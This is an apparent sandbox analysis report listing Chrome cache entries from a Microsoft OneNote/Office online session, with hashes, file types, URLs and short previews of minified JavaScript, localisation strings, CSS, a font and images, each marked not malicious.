Preview:	/! Version=16.0.0.0 /.if(!window)window=this;var Type=Function;window.Type=Type;Array.$F=function(a,b){a.push(b)};Array.clear=function(a){a.length=0};Array.$1n=function(a,b){return Array.$1L(a,b)>=0};Array.$1L=function(c,e,a){if(c.indexOf)return c.indexOf(e,a);a=a;if(isNaN(a))a=0;var d=c.length;if(isFinite(a))a=a\|0;if(a<0)a=Math.max(0,d+a);for(var b=a;b<d;b++)if(c[b]===e)return b;return-1};Array.dequeue=function(a){return a.shift()};Array.enqueue=function(a,b){Array.$F(a,b)};Array.$2O=function(b,c){var a=Array.$1L(b,c);a>=0&&Array.$1y(b,a);return a>=0};Array.$1y=function(a,b){a.splice(b,1)};Array.__typeName="Array";Array.$1c=true;Boolean.__typeName="Boolean";Boolean.$1c=true;Date.$26=function(f,c){for(var d=0,a=false,b=0,g=f.length;b<g;b++){var e=f.charAt(b);switch(e){case"'":if(a)c.$0("'");else d++;a=false;break;case"\\":a&&c.$0("\\");a=!a;break;default:c.$0(e.toString());a=false}}return d};Date.$2E=function(a,b){if(!b)b="F";if(b.length===1)switch(b){case"d":return a.ShortDatePatter

Chrome Cache Entry: 338

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	17049
Entropy (8bit):	4.928084398979707
Encrypted:	false
SSDEEP:	384:r3Ghr6oaSwSaPQsPq3Qf3/U/8vFwoJbr2wKodV3vzJ9YaikHcL2MQk7:rQzwSkQWjU/8BlOaikMKu
MD5:	52AF792134B43BB66AC6FB020EC0B324
SHA1:	7B8A12118EE106DAA8FCECE7625D1DE871835A21
SHA-256:	E08CA1BE8ADF907921F594F700E9267582333BA0A4337C820E8C937989301574
SHA-512:	18DFBEA096D821FB1E82C9D01AEB1569AD600FE8E3CDCA6F735DFB7960D26F2E45BFF587C8D9F8A210E12D03BDD6CCE6246011CB83009599D11FA0D6327E788A
Malicious:	false
Reputation:	low
Preview:	{. "Microsoft": "Microsoft",. "FlexpaneCloseButton": "Close pane",. "Me_Header": "My account",. "MePhotoAriaLabel": "{0} {1} Current account's user photo",. "ChangePhotoAriaLabel": "{0} {1} Change the photo that appears in IM. This may open a new window.",. "MePhotoTitle": "Current account's user photo",. "ChangePhotoTitle": "Change the photo that appears in IM. This may open a new window.",. "AppLauncherAriaLabel": "App launcher opened",. "AppLauncherCloseAriaLabel": "Close the app launcher",. "AppLauncherHomeAriaLabel": "Microsoft 365, will be open in new tab",. "AppsModuleHeading": "Apps",. "Microsoft365": "Microsoft 365",. "AppsModuleAllApps": "All apps",. "AppsModuleAllAppsTooltip": "Open all apps",. "AllViewGroupShowMore": "Show More",. "AllViewGroupShowLess": "Show Less",. "AllViewBack": "Back",. "AllViewNewGroupHeading": "New",. "AllViewAdminSelectedGroupHeading": "Admin selected apps",. "AllViewMoreFirstPartyGroupHeading": "More from Microsoft",. "AllViewT

Chrome Cache Entry: 339

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (64817)
Category:	downloaded
Size (bytes):	715802
Entropy (8bit):	5.273008274514747
Encrypted:	false
SSDEEP:	6144:s19A71fCfICd09Pc+W2Bf94XC8fl+w13Ro19h1VNjaPLC8mNn+S0nVk3oxS/yYkU:D5HikVNT
MD5:	4BF8E4920C855FC5166ED2CB6CB0113F
SHA1:	32B9FCE25A868BB43B8A9D79D58E04C14BF186B4
SHA-256:	660DECF32280D7367D11B486A38A1E9F96C4A32F74EA3AEE374C4B732ECA5C27
SHA-512:	7D7D7D6145D1839FEB8B6D147C989E49773631CDC8F9341EF9BF1366B82A6C9E15F142BAE6224E047586C5E8AA9AE119ECC3B5AA2E27D38F8F38B7917988613F
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161760141008_App_Scripts/osfruntime_ono.js
Preview:	/* Office runtime JavaScript library /../..Copyright (c) Microsoft Corporation. All rights reserved../.../. Your use of this file is governed by the Microsoft Services Agreement http://go.microsoft.com/fwlink/?LinkId=266419... This file also contains the following Promise implementation (with a few small modifications):. * @overview es6-promise - a tiny implementation of Promises/A+.. * @copyright Copyright (c) 2014 Yehuda Katz, Tom Dale, Stefan Penner and contributors (Conversion to ES6 API by Jake Archibald). * @license Licensed under MIT license. * See https://raw.githubusercontent.com/jakearchibald/es6-promise/master/LICENSE. * @version 2.3.0.*/.var __extends=this&&this.__extends\|\|function(){var e=function(t,n){return e=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}\|\|function(e,t){for(var n in t)Object.prototype.hasOwnProperty.call(t,n)&&(e[n]=t[n])},e(t,n)};return function(t,n){if("fu

Chrome Cache Entry: 340

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (20946), with CRLF line terminators
Category:	downloaded
Size (bytes):	21179
Entropy (8bit):	4.946956269702156
Encrypted:	false
SSDEEP:	384:OZKKcZ2dMMj+hS6rLg4dHg15dR7tV6NvQLsljRei:OZ7j+w6rLg3HtsNvLhRei
MD5:	92A3DDF4C14AF9EB4DB2939A2B2712AC
SHA1:	81B322775A3E9E9335FB780179B6B922759CE6FF
SHA-256:	5B6D3F98F8A755878F226B38FDB1F7C31E67B456221F253B70F95AA331668594
SHA-512:	1A61A585D707BFC1E78B8734A89D1C73673324E1ABF5CF579799D73860A5160119FDCD2C910C8B77C827C42E76D1A7FEEA2D43E9ADBD3B95223514A34E563D61
Malicious:	false
Reputation:	low
URL:	https://appsforoffice.microsoft.com/lib/1.1/hosted/en-us/office_strings.js
Preview:	if (window.Type && window.Type.registerNamespace) {..Type.registerNamespace("Strings");} else {..if(typeof(window['"Strings"']) == 'undefined') {..window['"Strings"'] = new Object(); window['"Strings"']. __namespace = true;..}....}..Strings.OfficeOM=function(){};if (Strings.OfficeOM.registerClass) Strings.OfficeOM.registerClass("Strings.OfficeOM");Strings.OfficeOM.L_APICallFailed="API Call Failed";Strings.OfficeOM.L_APINotSupported="API Not Supported";Strings.OfficeOM.L_ActivityLimitReached="Activity limit has been reached.";Strings.OfficeOM.L_AddBindingFromPromptDefaultText="Please make a selection.";Strings.OfficeOM.L_AddinIsAlreadyRequestingToken="Add-in is already requesting an access token.";Strings.OfficeOM.L_AddinIsAlreadyRequestingTokenMessage="The operation failed because this add-in is already requesting an access token.";Strings.OfficeOM.L_ApiNotFoundDetails="The method or property {0} is part of the {1} requirement set, which is not available in your version of {2}.";String

Chrome Cache Entry: 341

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (20116), with no line terminators
Category:	downloaded
Size (bytes):	20116
Entropy (8bit):	5.265227006593126
Encrypted:	false
SSDEEP:	384:uCYdXBag5QAdRLxUSkgRfku5ro+PZCewau6Y:K5Z7LKocu5ro+PZCdau6Y
MD5:	EDF023B23DC08C7C90BA27A3BDE7480B
SHA1:	0F03EDBE6BDA20C20251EFF9DB86359EB5155F66
SHA-256:	7337ED6220111758E61F3BE5060AE9A807D83EDF05D5F7CC92B0B85E34A5FEF3
SHA-512:	93450345EE48033238467EF1BA3550F3C2FACA5C07178B1E7AAB989A4C845D7D87FC25FC33AAF431CBF1AEA5B9C3FE6619A8045B066DB5B239197072029E0740
Malicious:	false
Reputation:	low
URL:	https://cdn.onenote.net/officeaddins/161762240456_Scripts/pickadate.min.js
Preview:	!function(a){"function"==typeof define&&define.amd?define("picker",["jquery"],a):"object"==typeof exports?module.exports=a(require("jquery")):this.Picker=a(jQuery)}(function(a){function b(f,g,h,k){function l(){return b._.node("div",b._.node("div",b._.node("div",b._.node("div",w.component.nodes(r.open),t.box),t.wrap),t.frame),t.holder)}function m(){u.data(g,w).addClass(t.input).val(u.data("value")?w.get("select",s.format):f.value).on("focus."+r.id+" click."+r.id,p),s.editable\|\|u.on("keydown."+r.id,function(a){var b=a.keyCode,c=/^(8\|46)$/.test(b);return 27==b?(w.close(),!1):void((32==b\|\|c\|\|!r.open&&w.component.key[b])&&(a.preventDefault(),a.stopPropagation(),c?w.clear().close():w.open()))}),e(f,{haspopup:!0,expanded:!1,readonly:!1,owns:f.id+"_root"+(w._hidden?" "+w._hidden.id:"")})}function n(){w.$root.on({focusin:function(a){w.$root.removeClass(t.focused),a.stopPropagation()},"mousedown click":function(b){var c=b.target;c!=w.$root.children()[0]&&(b.stopPropagation(),"mousedown"!=b.type\|

Chrome Cache Entry: 342

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (11667), with no line terminators
Category:	downloaded
Size (bytes):	11667
Entropy (8bit):	4.97980937003193
Encrypted:	false
SSDEEP:	192:cHGtlNF+JzgGuA3pNvWAPsYmiT398yRFXiBpiiBlVIkslsunbe4uGfEinAMj9fsh:T/kpldNhVVimx+8mkKDypJBJeJjxQSlT
MD5:	A1D892F1368C7F3B1DFB75057B936B66
SHA1:	91EC4980BFA5B301199B574E6240A618247679F9
SHA-256:	2DB70125E37F651D09A6D03D593A65E09668E6267CCA1257251328517F7EAEFC
SHA-512:	F2834E3B673CF7BFBABF9A92A0D4524F5696996CA67EBD6605F08206C95C3DCCE3AB95E4297452186074EB92827BFA4D811A61959EBA60544393BA14F4C7A3B9
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161760141008_App_Scripts/1033/osfruntime_strings.js
Preview:	Type.registerNamespace("Strings");Strings.OsfRuntime=function(){};Strings.OsfRuntime.registerClass("Strings.OsfRuntime");Strings.OsfRuntime.L_ActivateAttempLoading_ERR="This add-in may not load properly, but you can still try to start it.";Strings.OsfRuntime.L_ActivateAttempLoading_ERR_FirstParty="This feature may not load properly, but you can still try to start it.";Strings.OsfRuntime.L_ActivateButton_TXT="Start";Strings.OsfRuntime.L_AddinCommands_AddinNotSupported_Message="Your add-in manifest is not valid.";Strings.OsfRuntime.L_AddinCommands_LearnMore_Link="Learn more.";Strings.OsfRuntime.L_AddinsCatalogIframeTitle_TXT="Office Add-ins catalog iframe";Strings.OsfRuntime.L_AgaveActivationError_ERR="Something went wrong and we couldn't start this add-in. Please try again later or contact your system administrator.";Strings.OsfRuntime.L_AgaveActivationError_ERR_FirstParty="Something went wrong and we couldn't start this feature. Please try again later or contact your system administrat

Chrome Cache Entry: 343

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (7790)
Category:	downloaded
Size (bytes):	403209
Entropy (8bit):	5.507518542883114
Encrypted:	false
SSDEEP:	6144:cZv8fqI86w30MyAuGdGFHTCH1qAPPPcg4Y+KID641wMpNQxnq5SC:cN8fqIoyA/GFHWrID1yJC
MD5:	41F5EE020E11C2C128718250534114A4
SHA1:	0E591F697EFEBD10AB7A86A99F6B1C3DE9B21FEE
SHA-256:	E4D47DCAB74CF673D38F44BFA551EEB734D5D30CE742A7CA15D1ACCC859A25D6
SHA-512:	82B67BE23D0DF1CBD796C6DA76D462DC374A0EA91E783A82849CE8C782DEC549E6C63BD49A038BC126EAE8523F1A5C5F949573E9DE8A9085191D42D35700C751
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/files/odsp-web-prod_2024-04-12.007/wacowlhostwebpack/wacowlhostwebpack.js
Preview:	/! For license information please see wacowlhostwebpack.js.LICENSE.txt /.(()=>{var e=document.currentScript;define("odsp-next/roots/WacOwlHost",["odsp.react.lib"],()=>{var t;return(()=>{"use strict";var n=[(e,t,n)=>{n.r(t),n.d(t,{__assign:()=>r,__asyncDelegator:()=>S,__asyncGenerator:()=>y,__asyncValues:()=>D,__await:()=>v,__awaiter:()=>l,__classPrivateFieldGet:()=>w,__classPrivateFieldSet:()=>E,__createBinding:()=>f,__decorate:()=>s,__exportStar:()=>p,__extends:()=>i,__generator:()=>u,__importDefault:()=>O,__importStar:()=>C,__makeTemplateObject:()=>I,__metadata:()=>d,__param:()=>c,__read:()=>_,__rest:()=>o,__spread:()=>h,__spreadArray:()=>g,__spreadArrays:()=>b,__values:()=>m});var a=function(e,t){return a=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}\|\|function(e,t){for(var n in t)Object.prototype.hasOwnProperty.call(t,n)&&(e[n]=t[n])},a(e,t)};function i(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Class extends value "+String(t)

Chrome Cache Entry: 344

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	441697
Entropy (8bit):	5.314434890838656
Encrypted:	false
SSDEEP:	12288:5p8JjHqc4zxn+9xVpkL59tJjsajOS37Fn9nr:vnr
MD5:	BAF5027C9909DF61ACAEE423C8A4E479
SHA1:	CD14F8673F69A774FBB6D3A79E9A9FABAE481943
SHA-256:	5DE63F9918151EEB4AE4413D662E386DC5D835DFC04B040BCF628F44B243B630
SHA-512:	BF0E32068317ABB24452F7CE8A64999424C9906FB479E4C59039E0C6E88570CFCFBCA57659DA86D700F418F920C57B6E221B7B5B6BB6D36E381B634B017C3882
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/h5DE63F9918151EEB_resources/1033/OneNote.Refresh.css
Preview:	.headBrand{cursor:default;line-height:48px;font-size:22px;margin-left:20px;margin-right:20px;font-family:'SegoeUI-SemiLight-final','Segoe UI SemiLight','Segoe UI WPC Semilight','Segoe UI',Segoe,Tahoma,Helvetica,Arial,sans-serif;}.cui-topBar1-transistionalHeaderUI .headBrand{width:auto !important;height:24px !important;line-height:normal !important;padding-bottom:12px;padding-top:12px;display:inline-block;font-size:17px;font-family:inherit;margin-left:17px;margin-right:17px;font-family:'Segoe UI','Segoe UI Web',Arial,Verdana,sans-serif;}.cui-topBar1-transitionalReactHeaderUI .headBrand{width:auto !important;line-height:48px !important;padding:0 6px;display:inline-block;font-size:16px;font-weight:600;font-family:"Segoe UI","Segoe UI Web (West European)","Segoe UI",-apple-system,BlinkMacSystemFont,Roboto,"Helvetica Neue",sans-serif;}@font-face{font-family:"Segoe UI Web Light";font-style:normal;font-weight:normal;src:local("Segoe UI Light"),url('./segoeuil.woff') format('woff'),url('./sego

Chrome Cache Entry: 345

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Reputation:	low
Preview:	0

Chrome Cache Entry: 346

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (20082), with no line terminators
Category:	downloaded
Size (bytes):	20082
Entropy (8bit):	5.3785189328644485
Encrypted:	false
SSDEEP:	384:Tt1CTbGLeulh4MQOCS9AKBINrXNlQihhST3iT00XazfPTZsn:p1GTuli2gKBkrPTpqrTZs
MD5:	58A30E58FBE0165292F0425B04256E46
SHA1:	420050FE7E6034D52094B2F769FDB12A3591A748
SHA-256:	534ECF698946529FF99C868DA810DAB8E1E9C7491EBDC873BDF95D34ABF75C4E
SHA-512:	6127E32FC185C33353C75180F2B54DFE28E471558FF2478B23C8AB64511BFBAC0AA6200740F94186F0CC56F5D6137C9BD7F16BA3580F4E994A064B7E5AE67D44
Malicious:	false
Reputation:	low
URL:	https://cdn.onenote.net/officeaddins/161762240456_Scripts/LearningTools/LearningTools.js
Preview:	function getLanguageParameter(n){var t,i;if(UseApiForUILanguage&&Office.context.displayLanguage)return""+n+"="+Office.context.displayLanguage;var f=window.location.search.substr(1),r=f.split("&"),u="";for(t=0;t<r.length;t++)if(i=r[t].split("=",2),i.length==2&&i[0]=="ui"){u=""+n+"="+i[1];break}return u}function getEdgeMajorVersion(){var t=navigator.userAgent,n=t.match(/Edge\/([0-9]+)/i);return n&&n.length>=2?parseInt(n[1]):-1}function getQueryParameter(n){var u,r,t,i;if(window.location.search&&window.location.search.length>1)for(u=window.location.search.substring(1),r=u.split("&"),t=0;t<r.length;t++)if(i=r[t].split("="),decodeURIComponent(i[0])==n)return i.length>1?decodeURIComponent(i[1]):"";return null}function now(){return(new Date).getTime()}function generateGuid(){return"xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g,function(n){var t=Math.random()*16\|0,i=n==="x"?t:t&3\|8;return i.toString(16)})}function createSimpleHtml(n,t,i){i===void 0&&(i=null);var r=document.createElemen

Chrome Cache Entry: 347

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	228988
Entropy (8bit):	5.642035224957992
Encrypted:	false
SSDEEP:	3072:nxtxVjl82LnmPjGd9idRqvmYgY8JZZHSlGXndhmodXhQLtKocU:nxJl82iGdw+mYgYUZUlbCGbP
MD5:	8411B8FAA6FE12A844BC6831151C9BE6
SHA1:	8D8530D65BB43557D8C10EA4B02DFC1D05C4DB7D
SHA-256:	846B81D8B8F6B20E0CD085B2CC432472AEB0EEE730B5AC7C3DDBC3C51EA4A2D5
SHA-512:	2E6E251C50FCFD9D68DC77AC01A2902BF5448DC44BCFA52BC82226F9BEC4C54E7908E455AA5FC4FEA43B4A44801A29BC45988810E8514F09873AA3EA086C47E4
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161760141008_App_Scripts/1033/OneNoteSimplified.Wac.TellMeModel.js
Preview:	var TellMeModel={"m":{"":76},"t":[0,7,7,7,7,7,7,7,7,7,7,7,7,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,6,6,6,6,6,6,6,7,2,10,10,10,7,4,4,4,4,4,4,4,4,4,4,7,7,7,7,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,7,7,7],"n":[340,427,430,433,436,439,442,446,449,452,455,458,461,464,485,514,523,532,541,554,567,576,585,594,603,616,629,642,655,668,681,690,703,716,729,738,751,764,777,790,803,816,829,845,863,887,911,932,961,982,995,1008,1028,1049,1059,1069,1090,1099,1109,1118,1128,1138,1159,1193,1198,120

Chrome Cache Entry: 348

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	56
Entropy (8bit):	4.677279698572885
Encrypted:	false
SSDEEP:	3:beiCkj7ugjfMlkk2SY:behw7ugjfDk2r
MD5:	DA69159E7EC38222D30F02FAE3F5B795
SHA1:	A25E1C206C6EF0DC1E82AB5D715E56A1EFE3BDE4
SHA-256:	77E2C43DFDEBA7EA496189A7D4DA3A22EDA4CCE35B6246260698A60B141972EE
SHA-512:	C08E416F8F47F95A258951568995689805AEFDD04A95AB52E8FDA790441BD3A1FC76209885F81132772AA6ED41E216DFE541AE0151975481DA3D190246D0FA29
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISFwkq_SZHhLGs1RIFDdjY4LISBQ11LGDrEhcJLlNqBGuXfL8SBQ3Y2OCyEgUNdSxg6w==?alt=proto
Preview:	ChIKBw3Y2OCyGgAKBw11LGDrGgAKEgoHDdjY4LIaAAoHDXUsYOsaAA==

Chrome Cache Entry: 349

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1929), with no line terminators
Category:	downloaded
Size (bytes):	1929
Entropy (8bit):	4.825504387685548
Encrypted:	false
SSDEEP:	48:l9AKA+/AK7E4h5qV5j9RXkIgj3oJzXz6WnzWgEA3AUYAA03LpAWARALAlAZAHAI/:VS4WvkIC+TzFnbf1LDC
MD5:	16436CE1C5CCA9CCA0065CC23C130358
SHA1:	57A8F2DED856B54F6A92895F35747F337326F9A1
SHA-256:	224C1B566FD772839589CFCA52150F482E334255FF41B598846E1154B92F2C8C
SHA-512:	D6102741828B2AF729BF06AEBF3687CDC120C33C5674147E2DCDE1EB1444BA161FA7FF8C0012E38D12D87B10932B7D7E60E56CD4F02B0FC1E028B2C322A40C8C
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161760141008_App_Scripts/1033/onenote-whatsnew-strings.min.js
Preview:	var OnenoteWhatsnewStringsEnum,OnenoteWhatsnewStringsArray,OnenoteWhatsnewStrings={WhatsNewDialogTitle:"What's New",GotItButton:"Got it!",ImmersiveReader:"The new Immersive Reader provides students with advanced tools to boost reading skills.",Ink:"Handwrite your notes, annotate documents, or sketch out your next big idea with new drawing tools.",NewNotebook:"You can now create notebooks in OneNote Online.",DragHandles:"Use drag handles to easily move text, reorder a list, swap table rows, and re-position images.",SyncUX:"Click the Page Sync Status button for more information about the sync status of the current page.",NotesFeed:"Open the Feed pane for easy access to your OneNote pages, Samsung notes, and sticky notes.",TwoPaneNavigation:"You can hide the navigation pane to focus on the current page or show the navigation pane to switch between your pages, sections, and notebooks.",ReactMLR:"Expand the ribbon to easily find OneNote commands, or collapse it again to maximize your note-t

Chrome Cache Entry: 350

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	504623
Entropy (8bit):	5.295465743714786
Encrypted:	false
SSDEEP:	6144:QmUYJufHkgFmouECAMkBKFsEfVegM2zcUud+pDV9c:QmUYJufHkMrdesEfVe6+uU
MD5:	A72BBEE5C087556D8B5B26DAE0A87801
SHA1:	08570666AD750F27D3BACF366C2AA01D3F468FD3
SHA-256:	B0337A423DF6561387445619879D442A3987DB6E708E6F5B4BC891D24E5887DC
SHA-512:	E0F46C961BBC2FD06E0AA257DC4D85A256265696E729E7A7384E578C3FCBEA5C13E193A6F3BC17C64165DCB15ECCEF7A88B8370EFC40425BD2648026E47A1C12
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161760141008_App_Scripts/al.min.js
Preview:	!function(e){if("object"==typeof exports&&"undefined"!=typeof module)module.exports=e();else if("function"==typeof define&&define.amd)define([],e);else{("undefined"!=typeof window?window:"undefined"!=typeof global?global:"undefined"!=typeof self?self:this).augLoop=e()}}((function(){return function e(t,n,o){function r(a,s){if(!n[a]){if(!t[a]){var u="function"==typeof require&&require;if(!s&&u)return u(a,!0);if(i)return i(a,!0);var c=new Error("Cannot find module '"+a+"'");throw c.code="MODULE_NOT_FOUND",c}var l=n[a]={exports:{}};t[a][0].call(l.exports,(function(e){return r(t[a][1][e]\|\|e)}),l,l.exports,e,t,n,o)}return n[a].exports}for(var i="function"==typeof require&&require,a=0;a<o.length;a++)r(o[a]);return r}({1:[function(e,t,n){"use strict";var o=e("exportStarHelper");Object.defineProperty(n,"__esModule",{value:!0}),o(e(2),n)},{2:2}],2:[function(e,t,n){"use strict";Object.defineProperty(n,"__esModule",{value:!0}),n.isStopWorkflowMessage=n.setStopAndFilterWorkflowMessage=n.setMessageE

Chrome Cache Entry: 351

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 15344, version 1.0
Category:	downloaded
Size (bytes):	15344
Entropy (8bit):	7.984625225844861
Encrypted:	false
SSDEEP:	384:ctE5KIuhGO+DSdXwye6i9Xm81v4vMHCbppV0pr3Ll9/w:cqrVO++tw/9CICFbQLlxw
MD5:	5D4AEB4E5F5EF754E307D7FFAEF688BD
SHA1:	06DB651CDF354C64A7383EA9C77024EF4FB4CEF8
SHA-256:	3E253B66056519AA065B00A453BAC37AC5ED8F3E6FE7B542E93A9DCDCC11D0BC
SHA-512:	7EB7C301DF79D35A6A521FAE9D3DCCC0A695D3480B4D34C7D262DD0C67ABEC8437ED40E2920625E98AAEAFBA1D908DEC69C3B07494EC7C29307DE49E91C2EF48
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu4mxK.woff2
Preview:	wOF2......;........H..;..........................d..@..J.`..L.T..<.....x.....^...x.6.$..6. ..t. ..I.h\|.l....A....b6........(......@e.]...:..-.0..r.)..hS..h...N.).D.........b.].......^..t?.m{...."84...9......c...?..r3o....}...S]....zbO.../z..{.....~cc....I...#.G.D....#e.A..b...b`a5P.4........M....v4..fI#X.z,.,...=avy..F.a.\9.P\|.[....r.Q@M.I.._.9..V..Q..]......[ {u..L@...]..K......]C....l$.Z.Z...Zs.4........ x.........F.?.7N..].\|.wb\....Z{1L#..t....0.dM...$JV...{..oX...i....6.v.~......)\|.TtAP&).KQ.]y........'...:.d..+..d..."C.h..p.2.M..e,.UP..@.q..7..D.@...,......B.n. r&.......F!.....\...;R.?-.i...,7..cb../I...Eg...!X.)5.Aj7...Ok..l7.j.A@B`".}.w.m..R.9..T.X.X.d....S..`XI..1... .$C.H.,.\. ..A(.AZ.................`Wr.0]y..-..K.1.............1.tBs..n.0...9.F[b.3x...$....T..PM.Z-.N.rS?I.<8eR'.3..27..?;..OLf.Rj.@.o.W...........j~ATA....vX.N:.3dM.r.)Q.B...4i.f..K.l..s....e.U.2...k..a.GO.}..../.'..%$..ed..'..qP....M..j....../.z&.=...q<....-..?.A.%..K..

Chrome Cache Entry: 352

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32011), with CRLF line terminators
Category:	downloaded
Size (bytes):	53853
Entropy (8bit):	5.500009921962495
Encrypted:	false
SSDEEP:	768:WFBlHId5vh+HExEP0HLVwU+megaBJpLGgVI3g6BifcqJMBSWDv6:WpHId5W0HLEagVIw6QXb
MD5:	5A8ED3646A340A247CD48F5732BAEA69
SHA1:	8A961A2C1461EB5CD8A9009911970824602F8B79
SHA-256:	C459EC1608D98A847AB4C83723E1C4B2DC6E58A7006D5566C529A93113C2EE62
SHA-512:	5421BC6C0EA27EE75F7B5633AA5757C62EE16C84E94099D301EEA9944131F8A26CE941711ACE5EFB66AD62FBD16460B31403A2B016E8CF72D1F025868CA838D8
Malicious:	false
Reputation:	low
URL:	https://cdn.onenote.net/officeaddins/161762240456_Scripts/aria-web-telemetry-2.9.0.min.js
Preview:	var clienttelemetry_build;!function(e){e.version="2.9.0"}(clienttelemetry_build\|\|(clienttelemetry_build={}));var Microsoft;!function(e){var t;!function(e){var t;!function(e){e[e.BT_STOP=0]="BT_STOP",e[e.BT_STOP_BASE=1]="BT_STOP_BASE",e[e.BT_BOOL=2]="BT_BOOL",e[e.BT_UINT8=3]="BT_UINT8",e[e.BT_UINT16=4]="BT_UINT16",e[e.BT_UINT32=5]="BT_UINT32",e[e.BT_UINT64=6]="BT_UINT64",e[e.BT_FLOAT=7]="BT_FLOAT",e[e.BT_DOUBLE=8]="BT_DOUBLE",e[e.BT_STRING=9]="BT_STRING",e[e.BT_STRUCT=10]="BT_STRUCT",e[e.BT_LIST=11]="BT_LIST",e[e.BT_SET=12]="BT_SET",e[e.BT_MAP=13]="BT_MAP",e[e.BT_INT8=14]="BT_INT8",e[e.BT_INT16=15]="BT_INT16",e[e.BT_INT32=16]="BT_INT32",e[e.BT_INT64=17]="BT_INT64",e[e.BT_WSTRING=18]="BT_WSTRING",e[e.BT_UNAVAILABLE=127]="BT_UNAVAILABLE"}(t=e.BondDataType\|\|(e.BondDataType={}));var n;!function(e){e[e.MARSHALED_PROTOCOL=0]="MARSHALED_PROTOCOL",e[e.MAFIA_PROTOCOL=17997]="MAFIA_PROTOCOL",e[e.COMPACT_PROTOCOL=16963]="COMPACT_PROTOCOL",e[e.JSON_PROTOCOL=21322]="JSON_PROTOCOL",e[e.PRETTY_JSON_PR

Chrome Cache Entry: 353

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 82 x 258, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	6140
Entropy (8bit):	7.86318803852975
Encrypted:	false
SSDEEP:	96:JCXCuvaxrUZXtOVVLMtSqdyZ7x5rY4gby5cR+YBaB7W+Nf9XF5Qfhl4/t5K:MMr7AtaZ7fY4f5I/qRf9V6hSl5K
MD5:	2443F04DFD8CE58264835F7CD477799C
SHA1:	E798EF676A42AA8F723246C95FA6A918010223B2
SHA-256:	77DD1463FE34BE51528C6535C5AAF5590EE90BBD3B76AE8E362657C45E9F90FD
